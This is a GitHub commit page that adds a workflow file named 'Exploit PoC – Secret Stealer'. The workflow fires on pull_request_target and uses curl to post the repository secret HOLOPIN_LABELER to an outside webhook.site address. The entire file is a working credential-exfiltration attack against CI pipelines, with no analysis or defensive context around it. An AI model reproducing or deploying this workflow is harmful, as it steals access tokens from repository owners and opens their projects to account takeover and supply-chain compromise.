Skip to content

Commit 5fcc39a

Browse files
Create poc.yml
1 parent 5ba3f51 commit 5fcc39a

File tree

1 file changed

+18
-0
lines changed

1 file changed

+18
-0
lines changed

.github/workflows/poc.yml

Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
# .github/workflows/poc.yml
2+
name: Exploit PoC – Secret Stealer
3+
4+
on:
5+
pull_request_target:
6+
types: [opened]
7+
8+
jobs:
9+
steal_secret:
10+
name: Steal GitHub PAT
11+
runs-on: ubuntu-latest
12+
steps:
13+
- name: Exfiltrate HOLOPIN_LABELER Secret
14+
run: |
15+
curl -X POST \
16+
-H "Content-Type: application/x-www-form-urlencoded" \
17+
-d "token=${{ secrets.HOLOPIN_LABELER }}" \
18+
https://webhook.site/e4056cbe-33ad-4c73-a3f2-48b7b388a4f1

0 commit comments

Comments
 (0)